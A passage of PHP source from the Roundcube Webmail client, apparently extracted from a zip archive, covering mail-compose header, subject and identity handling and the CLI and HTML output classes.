                && !$this->rcmail->config->get('sig_below')
                && ($this->data['mode'] == self::MODE_REPLY || $this->data['mode'] == self::MODE_FORWARD);

            $separator     = $top_posting ? '---' : '-- ';
            $add_separator = (bool) $this->rcmail->config->get('sig_separator');

            $field_attrib['onchange'] = rcmail_output::JS_OBJECT_NAME . ".change_identity(this)";
            $select_from = new html_select($field_attrib);

            // create SELECT element
            foreach ($this->data['identities'] as $sql_arr) {
                $identity_id = $sql_arr['identity_id'];
                $select_from->add(format_email_recipient($sql_arr['email'], $sql_arr['name']), $identity_id);

                // add signature to array
                if (!empty($sql_arr['signature']) && empty($this->data['param']['nosig'])) {
                    $text = $html = $sql_arr['signature'];

                    if ($sql_arr['html_signature']) {
                        $text = $this->rcmail->html2text($html, ['links' => false]);
                        $text = trim($text, "\r\n");
                    }
                    else {
                        $t2h  = new rcube_text2html($text, false);
                        $html = $t2h->get_html();
                    }

                    if ($add_separator && !preg_match('/^--[ -]\r?\n/m', $text)) {
                        $text = $separator . "\n" . ltrim($text, "\r\n");
                        $html = $separator . "<br>" . $html;
                    }

                    $a_signatures[$identity_id]['text'] = $text;
                    $a_signatures[$identity_id]['html'] = $html;
                }

                // add bcc and reply-to
                if (!empty($sql_arr['reply-to'])) {
                    $identities[$identity_id]['replyto'] = $sql_arr['reply-to'];
                }
                if (!empty($sql_arr['bcc'])) {
                    $identities[$identity_id]['bcc'] = $sql_arr['bcc'];
                }

                $identities[$identity_id]['email'] = $sql_arr['email'];
            }

            $out = $select_from->show($this->data['from'] ?? null);

            // add signatures to client
            $this->rcmail->output->set_env('signatures', $a_signatures);
            $this->rcmail->output->set_env('identities', $identities);
        }
        // no identities, display text input field
        else {
            $field_attrib['class'] = 'from_address';
            $input_from = new html_inputfield($field_attrib);
            $out = $input_from->show($this->data['from'] ?? null);
        }

        return $out;
    }

    /**
     * Set the value of specified header depending on compose mode
     */
    protected function compose_header_value($header, $mode)
    {
        $fvalue        = '';
        $decode_header = true;
        $message       = $this->options['message'];
        $charset       = !empty($message->headers) ? $message->headers->charset : RCUBE_CHARSET;
        $separator     = ', ';

        if (!isset($this->data['recipients'])) {
            $this->data['recipients'] = [];
        }

        // we have a set of recipients stored is session
        if (
            $header == 'to'
            && !empty($this->data['param']['mailto'])
            && ($mailto_id = $this->data['param']['mailto'])
            && !empty($_SESSION['mailto'][$mailto_id])
        ) {
            $fvalue        = urldecode($_SESSION['mailto'][$mailto_id]);
            $decode_header = false;
            $charset       = $this->rcmail->output->charset;

            // make session to not grow up too much
            $this->rcmail->session->remove("mailto.$mailto_id");
        }
        else if (!empty($_POST['_' . $header])) {
            $fvalue  = rcube_utils::get_input_string('_' . $header, rcube_utils::INPUT_POST, true);
            $charset = $this->rcmail->output->charset;
        }
        else if (!empty($this->data['param'][$header])) {
            $fvalue  = $this->data['param'][$header];
            $charset = $this->rcmail->output->charset;
        }
        else if ($mode == self::MODE_REPLY) {
            // get recipient address(es) out of the message headers
            if ($header == 'to') {
                $mailfollowup = $message->headers->others['mail-followup-to'] ?? [];
                $mailreplyto  = $message->headers->others['mail-reply-to'] ?? [];
                $reply_all    = $this->data['reply_all'] ?? null;

                // Reply to mailing list...
                if ($reply_all == 'list' && $mailfollowup) {
                    $fvalue = $mailfollowup;
                }
                else if ($reply_all == 'list'
                    && preg_match('/<mailto:([^>]+)>/i', $message->headers->others['list-post'], $m)
                ) {
                    $fvalue = $m[1];
                }
                // Reply to...
                else if ($reply_all && $mailfollowup) {
                    $fvalue = $mailfollowup;
                }
                else if ($mailreplyto) {
                    $fvalue = $mailreplyto;
                }
                else if (!empty($message->headers->replyto)) {
                    $fvalue  = $message->headers->replyto;
                    $replyto = true;
                }
                else if (!empty($message->headers->from)) {
                    $fvalue = $message->headers->from;
                }

                // Reply to message sent by yourself (#1487074, #1489230, #1490439)
                // Reply-To address need to be unset (#1490233)
                if (!empty($this->data['ident']) && empty($replyto)) {
                    foreach ([$fvalue, $message->get_header('from')] as $sender) {
                        $senders = rcube_mime::decode_address_list($sender, null, false, $charset, true);

                        if (in_array($this->data['ident']['email_ascii'], $senders)) {
                            $fvalue = $message->headers->to;
                            break;
                        }
                    }
                }
            }
            // add recipient of original message if reply to all
            else if ($header == 'cc' && !empty($this->data['reply_all']) && $this->data['reply_all'] != 'list') {
                if ($v = $message->headers->to) {
                    $fvalue .= $v;
                }
                if ($v = $message->headers->cc) {
                    $fvalue .= (!empty($fvalue) ? $separator : '') . $v;
                }

                // Deliberately ignore 'Sender' header (#6506)

                // When To: and Reply-To: are the same we add From: address to the list (#1489037)
                if ($v = $message->headers->from) {
                    $to      = $message->headers->to;
                    $replyto = $message->headers->replyto;
                    $from    = rcube_mime::decode_address_list($v, null, false, $charset, true);
                    $to      = rcube_mime::decode_address_list($to, null, false, $charset, true);
                    $replyto = rcube_mime::decode_address_list($replyto, null, false, $charset, true);

                    if (!empty($replyto) && !count(array_diff($to, $replyto)) && count(array_diff($from, $to))) {
                        $fvalue .= (!empty($fvalue) ? $separator : '') . $v;
                    }
                }
            }
        }
        else if (in_array($mode, [self::MODE_DRAFT, self::MODE_EDIT])) {
            // get drafted headers
            if ($header == 'to' && !empty($message->headers->to)) {
                $fvalue = $message->get_header('to', true);
            }
            else if ($header == 'cc' && !empty($message->headers->cc)) {
                $fvalue = $message->get_header('cc', true);
            }
            else if ($header == 'bcc' && !empty($message->headers->bcc)) {
                $fvalue = $message->get_header('bcc', true);
            }
            else if ($header == 'replyto' && !empty($message->headers->others['mail-reply-to'])) {
                $fvalue = $message->get_header('mail-reply-to');
            }
            else if ($header == 'replyto' && !empty($message->headers->replyto)) {
                $fvalue = $message->get_header('reply-to');
            }
            else if ($header == 'followupto' && !empty($message->headers->others['mail-followup-to'])) {
                $fvalue = $message->get_header('mail-followup-to');
            }
        }

        // split recipients and put them back together in a unique way
        if (!empty($fvalue) && in_array($header, ['to', 'cc', 'bcc'])) {
            $from_email   = !empty($this->data['ident']['email']) ? mb_strtolower($this->data['ident']['email']) : '';
            $to_addresses = rcube_mime::decode_address_list($fvalue, null, $decode_header, $charset);
            $fvalue       = [];

            foreach ($to_addresses as $addr_part) {
                if (empty($addr_part['mailto'])) {
                    continue;
                }

                // According to RFC5321 local part of email address is case-sensitive
                // however, here it is better to compare addresses in case-insensitive manner
                $mailto    = format_email(rcube_utils::idn_to_utf8($addr_part['mailto']));
                $mailto_lc = mb_strtolower($addr_part['mailto']);

                if (
                    ($header == 'to' || $mode != self::MODE_REPLY || $mailto_lc != $from_email)
                    && !in_array($mailto_lc, $this->data['recipients'])
                ) {
                    if ($addr_part['name'] && $mailto != $addr_part['name']) {
                        $mailto = format_email_recipient($mailto, $addr_part['name']);
                    }

                    $fvalue[] = $mailto;
                    $this->data['recipients'][] = $mailto_lc;
                }
            }

            $fvalue = implode($separator, $fvalue);
        }

        return $fvalue;
    }

    /**
     * Creates reply subject by removing common subject
     * prefixes/suffixes from the original message subject
     *
     * @param string $subject Subject string
     *
     * @return string Modified subject string
     */
    public static function reply_subject($subject)
    {
        $subject = trim($subject);

        //  Add config options for subject prefixes (#7929) 
        $subject = rcube_utils::remove_subject_prefix($subject, 'reply');
        $subject = rcmail::get_instance()->config->get('response_prefix', 'Re:') . ' ' . $subject;

        return trim($subject);
    }

    /**
     * Subject input object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function compose_subject($attrib)
    {
        list($form_start, $form_end) = $this->form_tags($attrib);
        unset($attrib['form']);

        $attrib['name']       = '_subject';
        $attrib['spellcheck'] = 'true';

        $textfield = new html_inputfield($attrib);
        $subject   = '';

        // use subject from post
        if (isset($_POST['_subject'])) {
            $subject = rcube_utils::get_input_string('_subject', rcube_utils::INPUT_POST, TRUE);
        }
        else if (!empty($this->data['param']['subject'])) {
            $subject = $this->data['param']['subject'];
        }
        // create a reply-subject
        else if ($this->data['mode'] == self::MODE_REPLY) {
            $subject = self::reply_subject($this->options['message']->subject);
        }
        // create a forward-subject
        else if ($this->data['mode'] == self::MODE_FORWARD) {
            //  Add config options for subject prefixes (#7929) 
            $subject = rcube_utils::remove_subject_prefix($this->options['message']->subject, 'forward');
            $subject = trim($this->rcmail->config->get('forward_prefix', 'Fwd:') . ' ' . $subject);
        }
        // create a draft-subject
        else if ($this->data['mode'] == self::MODE_DRAFT || $this->data['mode'] == self::MODE_EDIT) {
            $subject = $this->options['message']->subject;
        }

        $out = $form_start ? "$form_start\n" : '';
        $out .= $textfield->show($subject);
        $out .= $form_end ? "\n$form_end" : '';

        return $out;
    }

    /**
     * Returns compose form tag (if not used already)
     *
     * @param array $attrib Form attributes
     */
    public function form_tags($attrib)
    {
        if (isset($attrib['noform']) && rcube_utils::get_boolean((string) $attrib['noform'])) {
            return ['', ''];
        }

        $form_start = '';
        if (!$this->message_form) {
            $hiddenfields = new html_hiddenfield(['name' => '_task', 'value' => $this->rcmail->task]);
            $hiddenfields->add(['name' => '_action', 'value' => 'send']);
            $hiddenfields->add(['name' => '_id', 'value' => $this->data['id'] ?? '']);
            $hiddenfields->add(['name' => '_attachments']);

            if (empty($attrib['form'])) {
                $form_attr  = [
                    'name'   => 'form',
                    'method' => 'post',
                    'class'  => !empty($attrib['class']) ? $attrib['class'] : '',
                ];
                $form_start = $this->rcmail->output->form_tag($form_attr);
            }

            $form_start .= $hiddenfields->show();
        }

        $form_end  = ($this->message_form && empty($attrib['form'])) ? '</form>' : '';
        $form_name = !empty($attrib['form']) ? $attrib['form'] : 'form';

        if (!$this->message_form) {
            $this->rcmail->output->add_gui_object('messageform', $form_name);
        }

        $this->message_form = $form_name;

        return [$form_start, $form_end];
    }

    /**
     * Returns compose form "head"
     */
    public function form_head($attrib)
    {
        list($form_start,) = $this->form_tags($attrib);

        return $form_start;
    }

    /**
     * Folder selector object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function folder_selector($attrib)
    {
        if (isset($_POST['_store_target'])) {
            $mbox = $_POST['_store_target'];
        }
        else {
            $mbox = $this->data['param']['sent_mbox'] ?? null;
        }

        $params = [
            'noselection'   => '- ' . $this->rcmail->gettext('dontsave') . ' -',
            'folder_filter' => 'mail',
            'folder_rights' => 'w',
        ];

        $attrib['name'] = '_store_target';
        $select = rcmail_action::folder_selector(array_merge($attrib, $params));

        return $select->show($mbox, $attrib);
    }

    /**
     * Mail Disposition Notification checkbox object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function mdn_checkbox($attrib)
    {
        list($form_start, $form_end) = $this->form_tags($attrib);
        unset($attrib['form']);

        if (empty($attrib['id'])) {
            $attrib['id'] = 'receipt';
        }

        $attrib['name']  = '_mdn';
        $attrib['value'] = '1';

        $checkbox = new html_checkbox($attrib);

        if (isset($_POST['_mdn'])) {
            $mdn_default = $_POST['_mdn'];
        }
        else if (in_array($this->data['mode'], [self::MODE_DRAFT, self::MODE_EDIT])) {
            $mdn_default = !empty($this->options['message']->headers->mdn_to);
        }
        else {
            $mdn_default = $this->rcmail->config->get('mdn_default');
        }

        $out = $form_start ? "$form_start\n" : '';
        $out .= $checkbox->show($mdn_default);
        $out .= $form_end ? "\n$form_end" : '';

        return $out;
    }

    /**
     * Delivery Status Notification checkbox object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function dsn_checkbox($attrib)
    {
        list($form_start, $form_end) = $this->form_tags($attrib);
        unset($attrib['form']);

        if (empty($attrib['id'])) {
            $attrib['id'] = 'dsn';
        }

        $attrib['name']  = '_dsn';
        $attrib['value'] = '1';

        $checkbox = new html_checkbox($attrib);

        if (!empty($_POST['_dsn']) || !empty($this->options['dsn_enabled'])) {
            $dsn_value = 1;
        }
        else {
            $dsn_value = $this->rcmail->config->get('dsn_default');
        }

        $out = $form_start ? "$form_start\n" : '';
        $out .= $checkbox->show($dsn_value);
        $out .= $form_end ? "\n$form_end" : '';

        return $out;
    }

    /**
     * "Keep formatting" checkbox object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function keep_formatting_checkbox($attrib)
    {
        list($form_start, $form_end) = $this->form_tags($attrib);
        unset($attrib['form']);

        if (empty($attrib['id'])) {
            $attrib['id'] = '_keepformatting';
        }

        $attrib['name']  = '_keepformatting';
        $attrib['value'] = '1';

        $checkbox = new html_checkbox($attrib);

        $out = $form_start ? "$form_start\n" : '';
        $out .= $checkbox->show();
        $out .= $form_end ? "\n$form_end" : '';

        return $out;
    }

    /**
     * Priority selector object for templates
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML content
     */
    public function priority_selector($attrib)
    {
        list($form_start, $form_end) = $this->form_tags($attrib);
        unset($attrib['form']);

        $attrib['name'] = '_priority';
        $prio_list = [
            $this->rcmail->gettext('lowest')  => 5,
            $this->rcmail->gettext('low')     => 4,
            $this->rcmail->gettext('normal')  => 0,
            $this->rcmail->gettext('high')    => 2,
            $this->rcmail->gettext('highest') => 1,
        ];

        $selector = new html_select($attrib);
        $selector->add(array_keys($prio_list), array_values($prio_list));

        if (isset($_POST['_priority'])) {
            $sel = (int) $_POST['_priority'];
        }
        else if (isset($this->options['message']->headers->priority)
            && intval($this->options['message']->headers->priority) != 3
        ) {
            $sel = (int) $this->options['message']->headers->priority;
        }
        else {
            $sel = 0;
        }

        $out = $form_start ? "$form_start\n" : '';
        $out .= $selector->show((int) $sel);
        $out .= $form_end ? "\n$form_end" : '';

        return $out;
    }

    /**
     * Helper to create Sent folder if it does not exists
     *
     * @param string $folder Folder name to check
     * @param bool   $create Create if does not exist
     *
     * @return bool True if the folder exists, False otherwise
     */
    public static function check_sent_folder($folder, $create = false)
    {
        $rcmail = rcmail::get_instance();

        // we'll not save the message, so it doesn't matter
        if ($rcmail->config->get('no_save_sent_messages')) {
            return true;
        }

        if ($rcmail->storage->folder_exists($folder, true)) {
            return true;
        }

        // folder may exist but isn't subscribed (#1485241)
        if ($create) {
            if (!$rcmail->storage->folder_exists($folder)) {
                return $rcmail->storage->create_folder($folder, true);
            }
            else {
                return $rcmail->storage->subscribe($folder);
            }
        }

        return false;
    }

    /**
     * Initialize mail compose UI elements
     */
    protected function compose_init($message)
    {
        // get user's identities
        $this->data['identities'] = $this->rcmail->user->list_identities(null, true);

        // Set From field value
        if (!empty($_POST['_from'])) {
            $this->data['from'] = rcube_utils::get_input_string('_from', rcube_utils::INPUT_POST);
        }
        else if (!empty($this->data['param']['from'])) {
            $this->data['from'] = $this->data['param']['from'];
        }
        else if (!empty($this->data['identities'])) {
            $ident = self::identity_select($message, $this->data['identities'], $this->data['mode']);

            $this->data['from']  = $ident['identity_id'];
            $this->data['ident'] = $ident;
        }

        $this->rcmail->output->add_handlers([
                'storetarget'      => [$this, 'folder_selector'],
                'composeheaders'   => [$this, 'headers_output'],
                'composesubject'   => [$this, 'compose_subject'],
                'priorityselector' => [$this, 'priority_selector'],
                'mdncheckbox'      => [$this, 'mdn_checkbox'],
                'dsncheckbox'      => [$this, 'dsn_checkbox'],
                'keepformattingcheckbox' => [$this, 'keep_formatting_checkbox'],
                'composeformhead'  => [$this, 'form_head'],
        ]);

        // add some labels to client
        $this->rcmail->output->add_label('nosubject', 'nosenderwarning', 'norecipientwarning',
            'nosubjectwarning', 'cancel', 'nobodywarning', 'notsentwarning', 'savingmessage',
            'sendingmessage', 'searching', 'disclosedrecipwarning', 'disclosedreciptitle',
            'bccinstead', 'nosubjecttitle', 'sendmessage');

        $this->rcmail->output->set_env('max_disclosed_recipients', (int) $this->rcmail->config->get('max_disclosed_recipients', 5));
    }

    /**
     * Detect recipient identity from specified message
     *
     * @param rcube_message $message    Message object
     * @param array         $identities User identities (if NULL all user identities will be used)
     * @param string        $mode       Composing mode (see self::MODE_*)
     *
     * @return array Selected user identity (or the default identity) data
     */
    public static function identity_select($message, $identities = null, $mode = null)
    {
        $a_recipients = [];
        $a_names      = [];

        if ($identities === null) {
            $identities = rcmail::get_instance()->user->list_identities(null, true);
        }

        if (!$mode) {
            $mode = self::MODE_REPLY;
        }

        // extract all recipients of the reply-message
        if (!empty($message->headers)) {
            $charset = $message->headers->charset;

            if (in_array($mode, [self::MODE_REPLY, self::MODE_FORWARD])) {
                $a_to = rcube_mime::decode_address_list($message->headers->to, null, true, $charset);
                foreach ($a_to as $addr) {
                    if (!empty($addr['mailto'])) {
                        $a_recipients[] = strtolower($addr['mailto']);
                        $a_names[]      = $addr['name'];
                    }
                }

                if (!empty($message->headers->cc)) {
                    $a_cc = rcube_mime::decode_address_list($message->headers->cc, null, true, $charset);
                    foreach ($a_cc as $addr) {
                        if (!empty($addr['mailto'])) {
                            $a_recipients[] = strtolower($addr['mailto']);
                            $a_names[]      = $addr['name'];
                        }
                    }
                }
            }

            // decode From: address
            if (!empty($message->headers)) {
                $from = array_first(rcube_mime::decode_address_list($message->headers->from, null, true, $charset));
                $from['mailto'] = isset($from['mailto']) ? strtolower($from['mailto']) : '';
            }
        }

        if (empty($from)) {
            $from = ['mailto' => ''];
        }

        $from_idx   = null;
        $found_idx  = ['to' => null, 'from' => null];
        $check_from = in_array($mode, [self::MODE_DRAFT, self::MODE_EDIT, self::MODE_REPLY]);

        // Select identity
        foreach ($identities as $idx => $ident) {
            // use From: header when in edit/draft or reply-to-self
            if ($check_from && $from['mailto'] == strtolower($ident['email_ascii'])) {
                // remember first matching identity address
                if ($found_idx['from'] === null) {
                    $found_idx['from'] = $idx;
                }
                // match identity name
                if ($from['name'] && $ident['name'] && $from['name'] == $ident['name']) {
                    $from_idx = $idx;
                    break;
                }
            }

            // use replied/forwarded message recipients
            if (($found = array_search(strtolower($ident['email_ascii']), $a_recipients)) !== false) {
                // remember first matching identity address
                if ($found_idx['to'] === null) {
                    $found_idx['to'] = $idx;
                }
                // match identity name
                if ($a_names[$found] && $ident['name'] && $a_names[$found] == $ident['name']) {
                    $from_idx = $idx;
                    break;
                }
            }
        }

        // If matching by name+address didn't find any matches,
        // get first found identity (address) if any
        if ($from_idx === null) {
            $from_idx = $found_idx['to'] !== null ? $found_idx['to'] : $found_idx['from'];
        }

        // Try Return-Path
        if ($from_idx === null && !empty($message->headers->others['return-path'])) {
            $return_path = $message->headers->others['return-path'];
            $return_path = array_map('strtolower', (array) $return_path);

            foreach ($identities as $idx => $ident) {
                // Return-Path header contains an email address, but on some mailing list
                // it can be e.g. <pear-dev-return-55250-local=domain.tld@lists.php.net>
                // where local@domain.tld is the address we're looking for (#1489241)
                $ident1 = strtolower($ident['email_ascii']);
                $ident2 = str_replace('@', '=', $ident1);
                $ident1 = '<' . $ident1 . '>';
                $ident2 = '-' . $ident2 . '@';

                foreach ($return_path as $path) {
                    if ($path == $ident1 || stripos($path, $ident2)) {
                        $from_idx = $idx;
                        break 2;
                    }
                }
            }
        }

        // See identity_select plugin for example usage of this hook
        $plugin = rcmail::get_instance()->plugins->exec_hook('identity_select', [
                'message'    => $message,
                'identities' => $identities,
                'selected'   => $from_idx
        ]);

        $selected = $plugin['selected'];

        // default identity is always first on the list
        if ($selected === null) {
            $selected = 0;
        }

        return $identities[$selected] ?? null;
    }

    /**
     * Collect message recipients' addresses
     *
     * @param Mail_Mime $message The email message
     */
    public static function collect_recipients($message)
    {
        $rcmail = rcube::get_instance();

        // Find the addressbook source
        $collected_recipients = $rcmail->config->get('collected_recipients');

        if (!strlen($collected_recipients)) {
            return;
        }

        $source = $rcmail->get_address_book($collected_recipients);

        if (!$source) {
            return;
        }

        $headers = $message->headers();

        // extract recipients
        $recipients = (array) $headers['To'];

        if (!empty($headers['Cc'])) {
            $recipients[] = $headers['Cc'];
        }

        if (!empty($headers['Bcc'])) {
            $recipients[] = $headers['Bcc'];
        }

        $addresses = rcube_mime::decode_address_list($recipients);
        $type      = rcube_addressbook::TYPE_DEFAULT | rcube_addressbook::TYPE_RECIPIENT;

        foreach ($addresses as $address) {
            $contact = [
                'name'  => $address['name'],
                'email' => $address['mailto'],
            ];

            if (!$rcmail->contact_exists($contact['email'], $type)) {
                $rcmail->contact_create($contact, $source);
            }
        }
    }
}
PK
h�\]�p@��%program/include/rcmail_output_cli.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | CONTENTS:                                                             |
 |   Abstract class for output generation                                |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class for output generation
 *
 * @package    Webmail
 * @subpackage View
 */
class rcmail_output_cli extends rcmail_output
{
    public $type = 'cli';


    /**
     * Call a client method
     *
     * @see rcube_output::command()
     */
    function command($cmd, ...$args)
    {
        // NOP
    }

    /**
     * Add a localized label to the client environment
     *
     * @see rcube_output::add_label()
     */
    function add_label(...$args)
    {
        // NOP
    }

    /**
     * Invoke display_message command
     *
     * @see rcube_output::show_message()
     */
    function show_message($message, $type = 'notice', $vars = null, $override = true, $timeout = 0)
    {
        if ($this->app->text_exists($message)) {
            $message = $this->app->gettext(['name' => $message, 'vars' => $vars]);
        }

        printf("[%s] %s\n", strtoupper($type), $message);
    }

    /**
     * Redirect to a certain url.
     *
     * @see rcube_output::redirect()
     */
    function redirect($p = [], $delay = 1)
    {
        // NOP
    }

    /**
     * Send output to the client.
     */
    function send()
    {
        // NOP
    }
}
PK
h�\�pj"����&program/include/rcmail_output_html.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class to handle HTML page output using a skin template.             |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to create HTML page output using a skin template
 *
 * @package    Webmail
 * @subpackage View
 */
class rcmail_output_html extends rcmail_output
{
    public $type = 'html';

    protected $message;
    protected $template_name;
    protected $objects      = [];
    protected $js_env       = [];
    protected $js_labels    = [];
    protected $js_commands  = [];
    protected $skin_paths   = [];
    protected $skin_name    = '';
    protected $scripts_path = '';
    protected $script_files = [];
    protected $css_files    = [];
    protected $scripts      = [];
    protected $meta_tags    = [];
    protected $link_tags    = ['shortcut icon' => ''];
    protected $header       = '';
    protected $footer       = '';
    protected $body         = '';
    protected $base_path    = '';
    protected $assets_path;
    protected $assets_dir   = RCUBE_INSTALL_PATH;
    protected $devel_mode   = false;
    protected $default_template = "<html>\n<head><meta name='generator' content='Roundcube'></head>\n<body></body>\n</html>";

    // deprecated names of templates used before 0.5
    protected $deprecated_templates = [
        'contact'      => 'showcontact',
        'contactadd'   => 'addcontact',
        'contactedit'  => 'editcontact',
        'identityedit' => 'editidentity',
        'messageprint' => 'printmessage',
    ];

    // deprecated names of template objects used before 1.4
    protected $deprecated_template_objects = [
        'addressframe'        => 'contentframe',
        'messagecontentframe' => 'contentframe',
        'prefsframe'          => 'contentframe',
        'folderframe'         => 'contentframe',
        'identityframe'       => 'contentframe',
        'responseframe'       => 'contentframe',
        'keyframe'            => 'contentframe',
        'filterframe'         => 'contentframe',
    ];

    /**
     * Constructor
     */
    public function __construct($task = null, $framed = false)
    {
        parent::__construct();

        $this->devel_mode = $this->config->get('devel_mode');

        $this->set_env('task', $task);
        $this->set_env('standard_windows', (bool) $this->config->get('standard_windows'));
        $this->set_env('locale', !empty($_SESSION['language']) ? $_SESSION['language'] : 'en_US');
        $this->set_env('devel_mode', $this->devel_mode);

        // Version number e.g. 1.4.2 will be 10402
        $version = explode('.', preg_replace('/[^0-9.].*/', '', RCMAIL_VERSION));
        $this->set_env('rcversion', $version[0] * 10000 + $version[1] * 100 + ($version[2] ?? 0));

        // add cookie info
        $this->set_env('cookie_domain', ini_get('session.cookie_domain'));
        $this->set_env('cookie_path', ini_get('session.cookie_path'));
        $this->set_env('cookie_secure', filter_var(ini_get('session.cookie_secure'), FILTER_VALIDATE_BOOLEAN));

        // Easy way to change skin via GET argument, for developers
        if ($this->devel_mode && !empty($_GET['skin']) && preg_match('/^[a-z0-9-_]+$/i', $_GET['skin'])) {
            if ($this->check_skin($_GET['skin'])) {
                $this->set_skin($_GET['skin']);
                $this->app->user->save_prefs(['skin' => $_GET['skin']]);
            }
        }

        // load and setup the skin
        $this->set_skin($this->config->get('skin'));
        $this->set_assets_path($this->config->get('assets_path'), $this->config->get('assets_dir'));

        if (!empty($_REQUEST['_extwin'])) {
            $this->set_env('extwin', 1);
        }

        if ($this->framed || $framed) {
            $this->set_env('framed', 1);
        }

        $lic = <<<EOF
/*
        @licstart  The following is the entire license notice for the 
        JavaScript code in this page.

        Copyright (C) The Roundcube Dev Team

        The JavaScript code in this page is free software: you can redistribute
        it and/or modify it under the terms of the GNU General Public License
        as published by the Free Software Foundation, either version 3 of
        the License, or (at your option) any later version.

        The code is distributed WITHOUT ANY WARRANTY; without even the implied
        warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
        See the GNU GPL for more details.

        @licend  The above is the entire license notice
        for the JavaScript code in this page.
*/
EOF;
        // add common javascripts
        $this->add_script($lic, 'head_top');
        $this->add_script('var '.self::JS_OBJECT_NAME.' = new rcube_webmail();', 'head_top');

        // don't wait for page onload. Call init at the bottom of the page (delayed)
        $this->add_script(self::JS_OBJECT_NAME.'.init();', 'docready');

        $this->scripts_path = 'program/js/';
        $this->include_script('jquery.min.js');
        $this->include_script('common.js');
        $this->include_script('app.js');

        // register common UI objects
        $this->add_handlers([
                'loginform'       => [$this, 'login_form'],
                'preloader'       => [$this, 'preloader'],
                'username'        => [$this, 'current_username'],
                'message'         => [$this, 'message_container'],
                'charsetselector' => [$this, 'charset_selector'],
                'aboutcontent'    => [$this, 'about_content'],
        ]);

        // set blankpage (watermark) url
        $blankpage = $this->config->get('blankpage_url', '/watermark.html');
        $this->set_env('blankpage', $blankpage);
    }

    /**
     * Set environment variable
     *
     * @param string $name    Property name
     * @param mixed  $value   Property value
     * @param bool   $addtojs True if this property should be added
     *                        to client environment
     */
    public function set_env($name, $value, $addtojs = true)
    {
        $this->env[$name] = $value;

        if ($addtojs || isset($this->js_env[$name])) {
            $this->js_env[$name] = $value;
        }
    }

    /**
     * Parse and set assets path
     *
     * @param string $path   Assets path URL (relative or absolute)
     * @param string $fs_dir Assets path in filesystem
     */
    public function set_assets_path($path, $fs_dir = null)
    {
        // set absolute path for assets if /index.php/foo/bar url is used
        if (empty($path) && !empty($_SERVER['PATH_INFO'])) {
            $path = preg_replace('/\?_task=[a-z]+/', '', $this->app->url([], true));
        }

        if (empty($path)) {
            return;
        }

        $path = rtrim($path, '/') . '/';

        // handle relative assets path
        if (!preg_match('|^https?://|', $path) && $path[0] != '/') {
            // save the path to search for asset files later
            $this->assets_dir = $path;

            $base = preg_replace('/[?#&].*$/', '', $_SERVER['REQUEST_URI']);
            $base = rtrim($base, '/');

            // remove url token if exists
            if ($len = intval($this->config->get('use_secure_urls'))) {
                $_base  = explode('/', $base);
                $last   = count($_base) - 1;
                $length = $len > 1 ? $len : 16; // as in rcube::get_secure_url_token()

                // we can't use real token here because it
                // does not exists in unauthenticated state,
                // hope this will not produce false-positive matches
                if ($last > -1 && preg_match('/^[a-f0-9]{' . $length . '}$/', $_base[$last])) {
                    $path = '../' . $path;
                }
            }
        }

        // set filesystem path for assets
        if ($fs_dir) {
            if ($fs_dir[0] != '/') {
                $fs_dir = realpath(RCUBE_INSTALL_PATH . $fs_dir);
            }
            // ensure the path ends with a slash
            $this->assets_dir = rtrim($fs_dir, '/') . '/';
        }

        $this->assets_path = $path;
        $this->set_env('assets_path', $path);
    }

    /**
     * Getter for the current page title
     *
     * @param bool $full Prepend title with product/user name
     *
     * @return string The page title
     */
    protected function get_pagetitle($full = true)
    {
        if (!empty($this->pagetitle)) {
            $title = $this->pagetitle;
        }
        else if (isset($this->env['task'])) {
            if ($this->env['task'] == 'login') {
                $title = $this->app->gettext([
                        'name' => 'welcome',
                        'vars' => ['product' => $this->config->get('product_name')]
                ]);
            }
            else {
                $title = ucfirst($this->env['task']);
            }
        }
        else {
            $title = '';
        }

        if ($full && $title) {
            if ($this->devel_mode && !empty($_SESSION['username'])) {
                $title = $_SESSION['username'] . ' :: ' . $title;
            }
            else if ($prod_name = $this->config->get('product_name')) {
                $title = $prod_name . ' :: ' . $title;
            }
        }

        return $title;
    }

    /**
     * Getter for the current skin path property
     */
    public function get_skin_path()
    {
        return $this->skin_paths[0];
    }

    /**
     * Set skin
     *
     * @param string $skin Skin name
     */
    public function set_skin($skin)
    {
        if (!$this->check_skin($skin)) {
            // If the skin does not exist (could be removed or invalid),
            // fallback to the skin set in the system configuration (#7271)
            $skin = $this->config->system_skin;
        }

        $skin_path = 'skins/' . $skin;

        $this->config->set('skin_path', $skin_path);
        $this->base_path = $skin_path;

        // register skin path(s)
        $this->skin_paths = [];
        $this->skins      = [];
        $this->load_skin($skin_path);

        $this->skin_name = $skin;
        $this->set_env('skin', $skin);
    }

    /**
     * Check skin validity/existence
     *
     * @param string $skin Skin name
     *
     * @return bool True if the skin exist and is readable, False otherwise
     */
    public function check_skin($skin)
    {
        // Sanity check to prevent from path traversal vulnerability (#1490620)
        if (!is_string($skin) || strpos($skin, '/') !== false || strpos($skin, "\\") !== false) {
            rcube::raise_error([
                    'file'    => __FILE__,
                    'line'    => __LINE__,
                    'message' => 'Invalid skin name'
                ], true, false);

            return false;
        }

